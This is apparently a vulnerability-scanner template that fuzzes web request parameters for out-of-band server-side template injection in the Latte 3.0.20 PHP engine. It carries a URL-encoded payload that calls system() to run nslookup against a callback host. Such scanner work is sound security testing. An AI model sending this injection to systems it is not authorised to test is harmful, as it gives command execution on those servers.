id: latte-oob

info:
  name: Latte 3.0.20 - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://github.com/nette/latte
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - '%7Bphp%20system%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D'

    skip-variables-check: true

    fuzzing:
      - parts:
          - query
          - body
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 4b0a00483046022100f51d3dbe2c3e9175efbe1bfea3449cb7169f8b3e74ab0a9159af2d09370d1320022100c923d9f8326f6993700a4bcdd2c3615aef0f9316abb98fbf3a8ae41a49ad0095:922c64590222798bb761d5b6d8e72950